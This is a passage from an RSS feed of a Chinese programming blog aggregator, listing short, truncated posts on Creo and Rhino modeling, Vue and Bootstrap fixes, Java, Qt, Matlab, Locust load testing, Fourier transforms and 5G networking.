      <description>Creo 7.0发布以来，大家聊得最多的热点就是“多主体（多实体）”！ Creo 7.0设计环境支持多主体（多实体），会在设计的效率、灵活性和可用性方面都有明显的提升。&#xA;多主体（多实体）可以怎么样......怎么样......!&#xA;多主体（多实体）可以怎么样......怎么样......!&#xA;多主体（多实体）可以怎么样......怎么样......!&#xA;功能选项卡中的主体指令：&#xA;多主体功能图标 浮动工具栏中的主体指令&#xA;多主体浮动工具栏 广泛的应用前景，让大家津津乐道，例如：&#xA;• 零件环境支持布尔运算&#xA;• 使用表示减料几何的主体&#xA;• 对作为设计工具的主体执行布尔和分割操作&#xA;• 针对几何主体的柔性建模功能&#xA;• 增材制造&#xA;• 创成式设计&#xA;• 模拟&#xA;• 注塑多材料零件&#xA;• 具有多主体概念的主模型方法&#xA;• 钣金件中的多实体应用&#xA;• 数据交换工作流&#xA;。。。。。。&#xA;如果我们把多实体应用到模具设计场景呢？&#xA;一个有趣的想法，多实体让我们可以使用零件分模，但是这方便吗？&#xA;其实思路很简单：&#xA;利用布尔运算完成参考零件的切除&#xA;创建分型面分割主体产生多实体，也就是我们需要的多个模具零件&#xA;。。。。。。&#xA;话不多说，看视频吧，我相信大家看完都会有自己的答案了！&#xA;知乎视频​www.zhihu.com TomLee往期精彩文章推荐阅读： Creo7.0钣金设计教程之拉伸工具的分类 - TomLee的文章 - 知乎 https://zhuanlan.zhihu.com/p/182543923&#xA;Creo7.0钣金拉伸切口特征 ProE打开Creo7.0模型文件的方法视频教程 - TomLee的文章 - 知乎 https://zhuanlan.zhihu.com/p/179961339&#xA;ProE打开Creo模型文件的方法 Creo7.0 | Creo6.0钣金设计新功能大全教程 - TomLee的文章 - 知乎 https://zhuanlan.zhihu.com/p/178382392&#xA;Creo7.0 | Creo6.0钣金设计新功能全收录 Creo7.</description>
    </item>
    <item>
      <title>These relative modules were not found:  * ../assets/fonts/glyphicons-halflings-regular.eot in ./node</title>
      <link>https://bchobby.github.io/posts/cc1a3feaedf39bc2ac65f7925fe3d6a3/</link>
      <pubDate>Tue, 12 Jan 2021 11:59:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cc1a3feaedf39bc2ac65f7925fe3d6a3/</guid>
      <description>使用vue使用脚手架引入bootstrap遇到Can’t resolve &#39;…/fonts/glyphicons-halflings-regular.woff2问题，查看对应目录文件是存在的，所以不是缺失问题，应该是路径问题，css文件中的默认写法，只适用于传统的web服务器，在node这里不行了，所以我们打开bootstrap.css找到缺失的文件路径前面font的引用改一下，把 …/font改为 /font，也就是去掉前面的两点，再重新npn run dev,成功构建！</description>
    </item>
    <item>
      <title>element-plus&#43;guiplan制作注册页面</title>
      <link>https://bchobby.github.io/posts/9f039842f87ca800a46eb208703094e9/</link>
      <pubDate>Tue, 12 Jan 2021 11:57:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9f039842f87ca800a46eb208703094e9/</guid>
      <description>文章目录 前言二、使用步骤创建一个页面复制页面：粘贴页面保存页面并创建路由预览注册页面输入信息测试校验源代码 总结 前言 用guiplan快速制作一个注册页面，模拟用户数据并实现简单的校验等 提示：以下是本篇文章正文内容，下面案例可供参考&#xA;二、使用步骤 创建一个页面 创建一个注册页面，选择空页面模板即可&#xA;复制页面： 切换到做好的登录页面，然后选择这个最外层部分，也就是这个背景，按ctrl+c复制&#xA;粘贴页面 再切换到注册页面，然后按ctrl+v将登录页面粘贴进来，修改标题将系统登录改为系统注册&#xA;保存页面并创建路由 输入保存位置，并点击保存即可自动保存页面。如果没有启动服务点击右边的启动图标，来启动本地服务。&#xA;点击 文件-&amp;gt;打开路由配置&#xA;点击一键插入路由，注册页面的路由即可配置完成&#xA;当然这里用的vite对@符号做了定义所以可以手动修改路由配置。@前面添加一个/ ,name值也可以改为中文“注册”&#xA;{ path: &#39;/user/register&#39;, name: &#39;注册&#39;, meta: { icon: &#39;md-funnel&#39;, title: &#39;user_register&#39; }, component: () =&amp;gt; import(&#39;/@/views/user/register.vue&#39;) }, 预览注册页面 右下角输入端口，这里是3000，点击打开预览并点击刷新。这里会自动打开当前3000端口的首页，首页顶部会显示整个路由链接，点击注册即可跳转到当前正在制作的注册页面&#xA;点击开启编辑模式按钮，系统会自动用红色边框选择当前所选的元素&#xA;按方向键移动选择元素，选择el-form元素，可以看到这里所创建的数据与绑定的方法&#xA;点击数据可以看到登录页面所用到的数据字段以即校验方法&#xA;再添加一个字段password2,并对password2自定义一个校验方法，代码如下&#xA;form: { username: &#39;&#39;, password: &#39;&#39;, password2:&#39;&#39; }, rules: { username: [ { required: true, message: &#39;请输入用户名称&#39;, trigger: &#39;blur&#39; }, { min: 1, max: 15, message: &#39;用户名称必须大于1个字&#39;, trigger: &#39;blur&#39; } ], password: [ { required: true, message: &#39;请输入密码&#39;, trigger: &#39;blur&#39; }, { min: 6, message: &#39;密码长度必须大于6个字&#39;, trigger: &#39;blur&#39; } ], password2: [ { required: true, message: &#39;请再次输入密码&#39;, trigger: &#39;blur&#39; }, { validator:(rule,value,callback)=&amp;gt;{ if(value&amp;amp;&amp;amp;value == this.</description>
    </item>
    <item>
      <title>python石头剪刀布循环_Python石头布剪刀游戏（循环一定条件）</title>
      <link>https://bchobby.github.io/posts/cb34edf832b38459e33e0e1afb2bc515/</link>
      <pubDate>Tue, 12 Jan 2021 11:33:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cb34edf832b38459e33e0e1afb2bc515/</guid>
      <description>我做了一个简单的石头-布-剪刀程序，我需要在这个程序中添加一定的条件。。我必须让&#xA;用户不停地玩，直到用户或计算机连续赢了两次以上。我试图从中找出答案，但不幸地找不到。。在&#xA;首先我尝试了gameOver = False&#xA;playerScore = 0&#xA;computerScore = 0&#xA;并添加&#xA;^{pr2}$&#xA;并将playerScore+=1添加到if语句中。&#xA;但不起作用…&#xA;任何建议都会有所帮助，我们将不胜感激。。干杯！&#xA;这是我的代码。import random&#xA;import sys&#xA;def main():&#xA;player = input(&#34;Enter your choice in number (rock 1 / paper 2 / scissors 0) :&#34;)&#xA;if (player == 0):&#xA;player = &#34;scissors&#34;&#xA;elif (player == 1):&#xA;player = &#34;rock&#34;&#xA;elif (player == 2):&#xA;player = &#34;paper&#34;&#xA;else:&#xA;print(&#34;Invalid Input Quitting...&#34;)&#xA;sys.exit(0)&#xA;computer = random.randint(0,2)&#xA;if (computer == 0):</description>
    </item>
    <item>
      <title>QString格式化输出两种方式</title>
      <link>https://bchobby.github.io/posts/97d774e4058d8456f978c0fed602acd8/</link>
      <pubDate>Tue, 12 Jan 2021 11:03:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/97d774e4058d8456f978c0fed602acd8/</guid>
      <description> 来源：微信公众号「编程学习基地」&#xA;个人比较喜欢这种格式化&#xA;QString str; str.sprintf(&#34;ID:%d&#34;,15); Qt Use asprintf(), arg() or QTextStream instead（代替）.&#xA;QString str; str.asprintf(&#34;ID:%d&#34;,15); 其他&#xA;QString str = QString(&#34;ID:%1&#34;).arg(15); </description>
    </item>
    <item>
      <title>后端 给前端返回图片url_java web二进制流的图片如何用response返回给前台</title>
      <link>https://bchobby.github.io/posts/7c71a82f049584d7af5861109942a6ce/</link>
      <pubDate>Tue, 12 Jan 2021 07:35:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7c71a82f049584d7af5861109942a6ce/</guid>
      <description>展开全部&#xA;FileOutputStream很明显你是用的文件流返回32313133353236313431303231363533e4b893e5b19e31333366303733的&#xA;// 以byte流的方式打开文件 d:\1.gif&#xA;FileInputStream hFile = new FileInputStream(url); //得到文件大小&#xA;int i=hFile.available();&#xA;byte data[]=new byte[i]; //读数据&#xA;hFile.read(data); //得到向客户端输出二进制数据的对象&#xA;OutputStream toClient=response.getOutputStream(); //输出数据&#xA;toClient.write(data);&#xA;toClient.flush();&#xA;toClient.close();&#xA;hFile.close();&#xA;扩展资料：&#xA;如果是纯文本使用字符流，如果二进制文件，使用字节流。&#xA;如果只是得到信息，原样不动，不进行修改操作，例如文件上传和下载，这时就使用字节流。文件上传：在服务器端把浏览器端信息提取出来。文件下载：把服务器端内容写给浏览器端。&#xA;如果要操作的是自定义信息，这时使用字符流。&#xA;通过response获取的输出流它的真实类型是什么？&#xA;ServletOutputStream response.getOutputStream();&#xA;PrintWriter response.getWriter();&#xA;ServletOutputStream由于使用字节流多数是原样复制，所以使用write方法，而不是print方法。&#xA;PrintWriter:打印流，两个特点：1.可以设置自动刷新。2.可以将信息原样输出。</description>
    </item>
    <item>
      <title>threejs 源码解析_threejs demo</title>
      <link>https://bchobby.github.io/posts/d1c628b112830eb2965016e2e719adfb/</link>
      <pubDate>Tue, 12 Jan 2021 04:25:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d1c628b112830eb2965016e2e719adfb/</guid>
      <description>【实例简介】&#xA;threejs入门博客http://blog.csdn.net/u010588262/article/details/79570436的配套demo，演示地址:&#xA;https://www.hugeoyzy.top/threejs/src/demo1.html&#xA;https://www.hugeoyzy.top/threejs/src/demo2.html&#xA;【实例截图】&#xA;【核心代码】&#xA;threejsdemo&#xA;└── threejsdemo&#xA;├── src&#xA;│ ├── css&#xA;│ │ ├── base.css&#xA;│ │ ├── images&#xA;│ │ │ ├── ui-bg_flat_75_ffffff_40x100.png&#xA;│ │ │ ├── ui-bg_highlight-soft_75_cccccc_1x100.png&#xA;│ │ │ ├── ui-icons_222222_256x240.png&#xA;│ │ │ ├── ui-icons_454545_256x240.png&#xA;│ │ │ └── ui-icons_888888_256x240.png&#xA;│ │ ├── index.css&#xA;│ │ ├── info.css&#xA;│ │ └── jquery-ui.css&#xA;│ ├── demo1.html&#xA;│ ├── demo2.html&#xA;│ ├── fonts&#xA;│ │ ├── droid</description>
    </item>
    <item>
      <title>曲面扫掠命令详解_软件Rhino | 曲面流动</title>
      <link>https://bchobby.github.io/posts/e20e882f275bcbfdaec900bda5342997/</link>
      <pubDate>Tue, 12 Jan 2021 03:08:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e20e882f275bcbfdaec900bda5342997/</guid>
      <description>点击这里查看上一期推送哦~&#xA;半平米工坊：软件Rhino | 曲面塑造​zhuanlan.zhihu.com 上一篇推送我们完成了“鼠标”建模练习，在此过程中进行了激动人心的阶段式总复习。&#xA;今天我们将重新启航，学习山地地形、笔筒和三管混接的建模案例，接触到rhino的王牌命令——曲面流动！敲黑板啦，小童鞋记得要记好重点噢！&#xA;我们快开始吧！！！&#xA;案例学习 1山地地形建模&#xA;第一个例子我们学习的是山地地形建模，主要介绍两种方法。这个例子比较的是Patch和Drape命令在绘制地形时候的异同。&#xA;首先在TOP视图上运用控制点曲线命令大致模拟出一个等高线地形图，可以随意绘制。这里给出一个例子，如下图。&#xA;接着运用操作轴分别将其上移相等的距离，这里为了截图方便，我将间距设置为10。&#xA;方法一：核心为patch命令&#xA;在左侧建立曲面工具集里选择嵌面patch命令，全选所有等高线，保留弹出窗口的参数，一键生成地形，如下图。&#xA;我们可以观察到曲面与控制线（等高线）贴合得比较宽松，放手让软件计算，于是某些部分出现了本不应有的小突起。&#xA;这种情况太气人了！！但是我们仍有解决的办法。重新patch，调整弹出窗口的UV方向跨距数为20，如下图。&#xA;我们可以观察到曲面与控制线较之前贴合得更严密，情况好了很多。也就是说，运用嵌面patch命令生成地形时，我们需要将UV方向跨距数调整到合适的参数。&#xA;方法二：核心为Drape命令&#xA;首先，我们需要在建立曲面工具集里选择“以平面曲线建立曲面”，将所有的闭合等高线转换成封闭曲面，如下图。&#xA;接着，在建立曲面工具集里选择“在物件上产生布帘曲面” Drape命令。&#xA;转换到TOP视图，按住鼠标左键拉出一个矩形选框，把要作布帘的所有等高面框选进去。如下图。&#xA;地形瞬间生成，回到Perspective视图。&#xA;对没错，你看到的就是眼前这个阶梯蛋糕！！这也太丑了吧，和我想象的优美流动的山体严重不符啊！！&#xA;当然是有补救方法的，在Drape命令栏上方将间距调大，这里设置为5。重新进行布帘命令，如下图。&#xA;是不是有山体的样子了？？&#xA;当然，如果不满意的话，可以打开控制点进行局部调整。&#xA;小结一下，Patch的优点在于曲面形状柔和，但缺点是曲面容易失控，需要后期切除部分。&#xA;而Drape 优点在于成面迅速，曲面形状易于掌控，但是缺点是易形成阶梯状曲面，需要调试或后期调整。&#xA;最后，有同学提出质疑，为什么我不能用放样Loft命令生成地形呢？&#xA;这个问题问得很好，说明前面的内容掌握不错，有自己的一番思考。放样命令实际上与控制点有关，我们运用控制点绘制曲线导致每层等高线的数量和走向都不一致，因此在这个例子里，我们并不能Loft。否则结果你们可以试试（奸笑）笔筒建模&#xA;笔筒涉及到的命令是unrollSrf和Flowalongsrf，即将接触的沿曲面流动命令，可是rhino的王牌命令噢！！接下来，我们就通过一个简单的例子，了解曲面流动的基础操作吧。&#xA;首先在体块工具里绘制一个圆柱体，将其炸开，我们需要得到其侧面展开面积。&#xA;我们对其侧表面运用unrollscf命令，得到展开矩形。我们需要在这个矩形面上绘制笔筒的花纹，并将平面的花纹覆盖在圆弧曲面上。&#xA;这里要明确一点，曲面流动一定会变形，除非用展开曲面的方法。而在所有展开曲面的方法中，UnRollSrf较为简单，它能展开单曲面(曲面的UV方向有一个方向的阶数是1)为平面。&#xA;听起来很复杂，但是实际上很简单，下面是我们的步骤图解。&#xA;运用直线工具在其一角绘制一条倾斜直线，并将其复制到另一角，如下图。&#xA;我们在两条直线之间建立均分曲线，建立一系列的过渡。这里我们输入的参数为10。&#xA;将所有的直线全选后，运用操作轴集体复制，向右移动一个单位，完成第一组花纹。&#xA;运用镜像工具，选取中线交点，复制出呈对称的第二组直线。同理，运用操作轴集体复制，向右移动一个单位，完成第二组花纹。&#xA;全选所有花纹直线，运用裁切工具依次把中间交接的地方删除。这里需要耐心一点哈~&#xA;观察下图可以看到，我们绘制的花纹超出了展开矩形面。这里需要注意的是，我们必须确保花纹全部在展开矩形面上，否则沿曲面流动一圈无法接上。&#xA;这时候我们可以使用单轴缩放scale1D命令，通过两点确定缩放轴，它可以让我们沿着一根轴线进行缩放。如下图。&#xA;重点来了。将展开矩形面先复制一份！将展开矩形面先复制一份！！重要的事情说两遍。全选所有花纹直线，切割展开矩形面。此时底面破坏，如果不事先复制一份，最后将无法将花纹沿曲面流动！！&#xA;将切割后的花纹面沿垂直方向挤出一段合适的距离。如下图。&#xA;用“沿着曲面流动”命令Flowalongsrf把花纹流动到圆柱体侧表面上。&#xA;选取要流动的物体花纹，确定后会出现选取基准面的选项，点击一下复制出来的原有平面而不是破碎平面，然后点击目标体圆柱侧面，流动成功。&#xA;删除原有表皮，笔筒制作完成。&#xA;3三管混接&#xA;三管混接涉及到的命令有弧形混接，混接曲面，Patch，Sweep2，loft。其中弧形混接和混接曲面是我们将要接触的新命令。&#xA;如果我们将其全选并使用pipe命令，我们会发现各个面是相互贯穿的，如下图，交接效果非常不理想。&#xA;因此，我们决定尝试使用新命令混接曲面进行快速封面。第一步是要原有的多段线炸开，分别使用pipe命令成管，并将它们分开相等的一段距离，如下图。&#xA;其次，在每个管的中点处建立两个垂直的相贯面，对其进行切割，把它们分成四分之一份，如下图。 每两个管对应的四分之一半弧使用混接曲面进行封面，保留弹出面板的参数。&#xA;将所有的面混接后，我们会发现一个问题，即最外侧和最里侧三管相交的地方实际并没有连接起来，反而看上去像是汇交于一个点，如下动图。&#xA;因此对于最外侧和最里侧整体封面的解决办法是，全选六条外边缘，然后进行Patch嵌面封面。将UV方向的跨距数修改为10，使其控制程度适中，操作如图。&#xA;但是，当我们放大观察时，会发现Patch后的面并不能与原有的混接曲面完美拟合。&#xA;这就涉及到我们之前讲解patch命令时所说的，patch封面其实是很随意的，会出现破面。但是，我们完全可以解决破面问题。&#xA;解决方法如下，保留patch封面的两个面，删去混接曲面，将三个管再移开一段相等的距离。&#xA;在曲线工具集里选择“弧形混接”，将缺失的弧线依次补上。如图。&#xA;接下来运用“双轨扫掠”sweep2命令，依次选取路径曲线和断面曲线，封面后如下图。&#xA;最后，运用loft放样命令将所有对应曲线接上即可，三管混接到这里就正式完成啦！&#xA;今天的推送就到这啦，回顾一下今天的内容，主要学习了山地地形、笔筒和三管混接的建模案例，接触到rhino的王牌命令——曲面流动！&#xA;希望大家看完这期的讲解凭借回忆打开rhino练习一下，有助于更好地消化吸收哈~&#xA;债见啦~&#xA;作者 / 小学弟</description>
    </item>
    <item>
      <title>和sa速度区别_真假5G？NSA和SA到底是怎么一回事？联通称：都是真5G</title>
      <link>https://bchobby.github.io/posts/55def4f6d537fd19853c13f06da99382/</link>
      <pubDate>Mon, 11 Jan 2021 21:11:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/55def4f6d537fd19853c13f06da99382/</guid>
      <description>5G时代来的比想象中要快，许多城市已经开始普及5G，各大运营商也开始推出5G套餐，但是提到5G的组网模式相信还是很多人一知半解，网上也开始有着关于真假5G的谣言，同时NSA被宣布不再许可入网，这引起了更多不知情者的恐慌，也让“NSA是假5G”，“NSA以后不能用了”等等的谣言开始散播，下面我们就详细的说明这两种网络的区别为大家辟谣。&#xA;首先要说明的一点，网络上所说的NSA和SA都是真5G，两者的5G网络速度和使用体验并没有太大分别，虽然未来将会停止NSA组网方式的5G网络入网，但是已经入网使用的NSA完全可以继续使用，不会受到任何影响。然后再说一下NSA和SA的区别，NSA和SA都是5G现行组网的主要方式，我们可以称NSA为混合组网，SA为独立组网，简单来说，NSA是融合现有的4G基站以及网络架构部署5G网络，而SA是重新建立5G基站。&#xA;混合组网(NSA)和独立组网(SA)都是真5G网络，在使用体验上没有差别，唯一的区别可能就是建设速度，由于混合组网可以依托现有的4G基站，所以5G网络的普及和覆盖将会非常迅速，这也是目前全球首先的5G网络先行的普及方式，而独立组网则需要较为长久的时间去建设新的基站，这是打造一个完整的5G世界必要的漫长过程，因为独立组网可以实现5G的全部优势，但就目前而言，未来很长的一段时间都会是NSA混合组网先行，然后NSA混合组网与SA独立组网并存，最后在过渡到SA独立组网撑起5G网络。&#xA;有很多人担心以后NSA混合组网会不能用，这个问题完全不必要担心，NSA混合组网不会被淘汰，以后依旧可以使用5G网络，即使以后全部都是SA独立组网，这中间的过渡时间，也已经超过了一部手机的使用寿命，在那之前用户也一定已经更换了SA独立组网的5G手机。所以现在购买5G手机没有任何问题，不但不会被淘汰，其5G网络的使用体验将会非常不错。&#xA;5G普及之初，各大厂商发布的5G手机的定价都高上了天际，而最近发布的iQOO Pro 5G版却打破了5G高价的局面，iQOO Pro 5G版不到4000元的起售价确实让人们大吃一惊，这个价格甚至可能都比不上原先的一部4G旗舰手机，不仅如此iQOO Pro 5G版的配置全都是目前最顶级的，还有着一身的黑科技，这样的配置给到这样一个定价，不光是vivo品牌非常良心，也说明vivo技术的成熟与稳定，相信这部手机是目前更换5G手机的最佳选择。</description>
    </item>
    <item>
      <title>RGB三基色LED实验</title>
      <link>https://bchobby.github.io/posts/4e82531a8bf0625eb816d1cf1aa14ae9/</link>
      <pubDate>Mon, 11 Jan 2021 20:56:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4e82531a8bf0625eb816d1cf1aa14ae9/</guid>
      <description>前言 了解RGB三基色LED的原理和使用方法； 认识Arduino开源硬件开发平台中PMW输出控制的方法； 掌握Arduino通过C语言实现电路组建和信号控制的基本方法。 提示：以下是本篇文章正文内容，下面案例可供参考&#xA;一、实验基础知识 1.RGB三基色LED&#xA;三基色是指RGB三种颜色,R=Red,G=Green,B=Blue,通过这三种颜色不同比例的混合，可以显示任何颜色。全彩的 LED 屏幕就是通过这种单个的 RGB 灯珠集成在一起做成的，一个 LED 就是一个像素，这个像素可以通过程序控制显示任何颜色、任何灰度。在单片机中是通过 PWM 来实现调色功能，之前学习过 PWM 调光功能，使用 1 个单色 LED，主要功能是亮度变化，如果三种颜色都用 PWM 控制器亮度，就可以混合出不同的比例。看到的彩色图片一般也会用 RGB 格式表示，比如 24 位彩色，RGB 三种颜色各占 8 位，组成的格式是 RGB=888 格式。每种颜色都有 2 的 8 次方=256 个亮度等级，那么整个像素是可以显示 2 的 24 次方=16777216 种颜色，这就是一个像素可以实现的颜色，位数越高，颜色就分的越细。另外一种常用格式是 16 位，RGB=565 格式，一个像素可以显示 2 的 16 次方=65536种颜色，这种格式在单片机里面用的非常多，尤其是单片机控制的彩屏。还有一种格式是18 位，RGB=666 格式，一个像素显示的颜色数量是 2 的 18 次方=262144，以前常听说的 26万色就是说的这种格式。还是从最基本的说起，既然三基色灯是 3 种颜色灯的组合，那么控制部分也就变得非常明确，1 种颜色用 1 路 PWM，三种颜色就用三路 PWM，很幸运，UNO 有大于 3 路 PWM功能输出，所以还有剩余 PWM 来完成其他功能。下面是电路图和实物连接他。同样的 RGB也分共阳和共阴，LED 一共 4 个有效引脚，1 个公共端，另外 3 个是三种颜色的另外一端。</description>
    </item>
    <item>
      <title>java堆栈方法区里都存了什么</title>
      <link>https://bchobby.github.io/posts/3a293ca73f3f780acaeae495466a08d1/</link>
      <pubDate>Mon, 11 Jan 2021 20:34:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3a293ca73f3f780acaeae495466a08d1/</guid>
      <description>首先JDK1.7和1.8是不同的。&#xA;先说JDK1.7：&#xA;栈：基本类型的对象和类的引用变量，局部变量。&#xA;堆：对象，成员变量，字符串常量池&#xA;方法区：静态变量，类信息，运行时常量池&#xA;再说JDK1.8：&#xA;栈：基本类型的对象和类的引用变量，局部变量。&#xA;堆：对象，成员变量，静态变量，字符串常量池&#xA;方法区：类信息，运行时常量池&#xA;自我总结，如有问题，一起探讨。</description>
    </item>
    <item>
      <title>使用locust进行压力测试</title>
      <link>https://bchobby.github.io/posts/88e7f3b662ce3faaca132cb9996e16de/</link>
      <pubDate>Mon, 11 Jan 2021 16:35:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/88e7f3b662ce3faaca132cb9996e16de/</guid>
      <description>一、背景 我们有一个项目接口压测，报文数据其中一个字段是视频加密后的字符串，很长很长，如果使用Jmeter，由于报文过长会导致Jmeter卡死，无法使用。&#xA;二、locust简介 1、定义&#xA;Locust是一款易于使用的分布式负载测试工具，完全基于事件，即一个locust节点也可以在一个进程中支持数千并发用户，不使用回调，通过gevent使用轻量级过程（即在自己的进程内运行）。&#xA;2、特点&#xA;①、不需要编写笨重的UI或者臃肿的XML代码，基于协程而不是回调，脚本编写简单易读；&#xA;②、有一个基于we简洁的HTML+JS的UI用户界面，可以实时显示相关的测试结果；&#xA;③、支持分布式测试，用户界面基于网络，因此具有跨平台且易于扩展的特点；&#xA;④、所有繁琐的I / O和协同程序都被委托给gevent，替代其他工具的局限性；&#xA;3、locust与jmeter的区别&#xA;工具 区别&#xA;jmeter 需要在UI界面上通过选择组件来“编写”脚本，模拟的负载是线程绑定的，意味着模拟的每个用户，都需要一个单独的线程。单台负载机可模拟的负载数有限&#xA;locust 通过编写简单易读的代码完成测试脚本，基于事件，同样配置下，单台负载机可模拟的负载数远超jmeter&#xA;PS：但locust的局限性在于，目前其本身对测试过程的监控和测试结果展示，不如jmeter全面和详细，需要进行二次开发才能满足需求越来越复杂的性能测试需要。&#xA;简而言之，locust可以通过python脚本规避直接使用大报文的弊端，完成压力测试。&#xA;三、使用 1、安装locust库&#xA;pip install locust即可&#xA;2、导入相关库&#xA;from locust import HttpUser, TaskSet, task&#xA;3、定义一个类，继承TaskSet用来写需要压测的接口详细信息，例如&#xA;on_start函数表示每个并发的用户执行时需要执行的操作，类似于unittest里的set_up函数，核心的发送请求还是post和get函数&#xA;4、定义一个类，继承HttpUser用来表示需要执行哪些接口任务和执行的host和port，例如&#xA;5、通过locust启动&#xA;locust -f locust_test.py --host=http://XXXX-idr-record-video.XXXXX.com&#34; -P = 指定端口&#xA;其中 host的值为测试接口的host地址&#xA;6、访问http://localhost:8089/就可以进入locust页面，输入并发用户数和每秒生成用户数，点击开始即可开始压力测试&#xA;Statistics下可以看到聚合报告&#xA;Charts下可以看到RPS和响应时间&#xA;Failures下可以看到失败接口的错误类型和次数&#xA;Exceptions可以看到异常信息&#xA;Download Data可以下载相关数据，其中最后一个是测试报告，内容包含聚合报告和RPS和响应时间的图表</description>
    </item>
    <item>
      <title>centos 杂记</title>
      <link>https://bchobby.github.io/posts/fab09a4899d52c9e6c0cd29def4cd0b5/</link>
      <pubDate>Mon, 11 Jan 2021 15:09:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fab09a4899d52c9e6c0cd29def4cd0b5/</guid>
      <description> df -h # 红色框里面显示 总控磁盘大小 和 已使用 情况 ```![在这里插入图片描述](https://img-blog.csdnimg.cn/20210111150622626.jpg#pic_center) </description>
    </item>
    <item>
      <title>傅里叶变换</title>
      <link>https://bchobby.github.io/posts/6bd7f30551994e265b48d9a32dee2bd7/</link>
      <pubDate>Mon, 11 Jan 2021 01:09:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6bd7f30551994e265b48d9a32dee2bd7/</guid>
      <description> 一维傅里叶变换：&#xA;https://zhuanlan.zhihu.com/p/19763358&#xA;离散的频谱图像,其中时域图像y=f(t)，横轴是t,纵轴是y; 其对应的频域包括：振幅（体现在频域图像中：横坐标是频率，纵坐标是振幅），相位（体现在相位谱中：横坐标是频率，纵坐标是相位值）和频率。&#xA;傅里叶变换：&#xA;任意信号都可以由一组正弦曲线组合而成；对于连续周期信号，其对应的频谱是离散的，组合方式为（∑）；对于非周期信号，可以认为其周期是无限大，其对应的频谱是连续的，组合方式为∫ 。&#xA;连续的傅里叶级数：&#xA;一维傅里叶变换公式：&#xA;t是时间，T是频率&#xA;傅里叶变换的理解：&#xA;傅里叶反变换的直观理解（频域到时域）：&#xA;一维傅里叶变换的作用：&#xA;（1）信息传输中的滤波：低频信息变化缓慢，而高频信息变化迅速；针对信息传输中噪声的频率成分，进行滤波去除噪声&#xA;二维傅里叶变换：&#xA;关键：理解频率图像的含义&#xA;参考https://zhuanlan.zhihu.com/p/99605178?utm_source=qq&#xA;https://www.zhihu.com/question/22611929&#xA;（1）一维傅里叶变换是正弦信号的叠加，而二维傅里叶变换是正弦平面波的叠加。各个不同频率的正弦平面波，叠加后构成不同的灰度值。&#xA;（2）二维傅里叶变换公式的含义：&#xA;公式中，x,y是连续空间变量，u,v是连续频率变量。二维傅里叶变换将二维信号f(x,y)分解为若干个复平面波。若干个复平面波可以用二维频率域K-SPACE表示。&#xA;若干个复平面波，每个波包括：频率w,幅度A,相位，方向&#xA;二维傅里叶变换的作用：&#xA;频域滤波来去除指定频率的数据；中心低频贡献了图像的主体，周围高频提供图像的细节和边缘&#xA;小波变换： https://mp.weixin.qq.com/s/CRqhHIlYYRjYJ64PZZnUkQ http://users.rowan.edu/~polikar/WTtutorial.html pytorch实现傅里叶变换： https://mp.weixin.qq.com/s?__biz=MzI5MDUyMDIxNA==&amp;amp;mid=2247522066&amp;amp;idx=3&amp;amp;sn=12de5f3c0c15fbf957b9429373c9ce54&amp;amp;chksm=ec1c7aebdb6bf3fdb87a85b9508478b919ee5f8a927be7851dc525892ad10bfb4c9a61e051e4&amp;amp;scene=21#wechat_redirect 傅里叶变换，拉普拉斯变换和Z变换： https://mp.weixin.qq.com/s?__biz=MzI5MDUyMDIxNA==&amp;amp;mid=2247506911&amp;amp;idx=2&amp;amp;sn=b7ea282fefa7adf98ac443fff3ae33ab&amp;amp;chksm=ec1c3626db6bbf308198cc437d210943a982e63f49a2bd846cc29a3208a4721e75a25652b3b8&amp;amp;scene=21#wechat_redirect </description>
    </item>
    <item>
      <title>filter函数的用法matlab_Matlab——滑动平均</title>
      <link>https://bchobby.github.io/posts/f54a0d7536d6a6a5aae63d015115d612/</link>
      <pubDate>Sun, 10 Jan 2021 22:39:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f54a0d7536d6a6a5aae63d015115d612/</guid>
      <description>Matlab有多种计算滑动平均的方法，仅学习filter函数的计算方法。&#xA;设原始数据为x，平均窗口设为a（a为正整数），那么无权重滑动平均后的数据y为：&#xA;windowSize = a;&#xA;y=filter(ones(1,windowSize)/windowSize,1,x);&#xA;Matlab: 利用filter函数求滑动平均&#xA;Matlab有多种计算滑动平均的方法，现介绍基于filter函数的计算方法。&#xA;设原始数据为x，平均窗口设为a（a为正整数），那么无权重滑动平均后的数据y为：&#xA;xinan_rain_mean_annual = xinan_rain_mean_annual&#39;;&#xA;x = xinan_rain_mean_annual;&#xA;windowSize = 5;&#xA;%y=filter(ones(1,windowSize)/windowSize,1,x);&#xA;y = smooth(x,5);&#xA;xx = 1982:2016;&#xA;plot(xx,x);&#xA;hold on&#xA;plot(xx,y);</description>
    </item>
    <item>
      <title>不规则图形数格子的方法_小学数学，怎么数平面图形中长方形与正方形个数</title>
      <link>https://bchobby.github.io/posts/2377a863569a87bd6930a823488c2d19/</link>
      <pubDate>Sat, 09 Jan 2021 19:36:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2377a863569a87bd6930a823488c2d19/</guid>
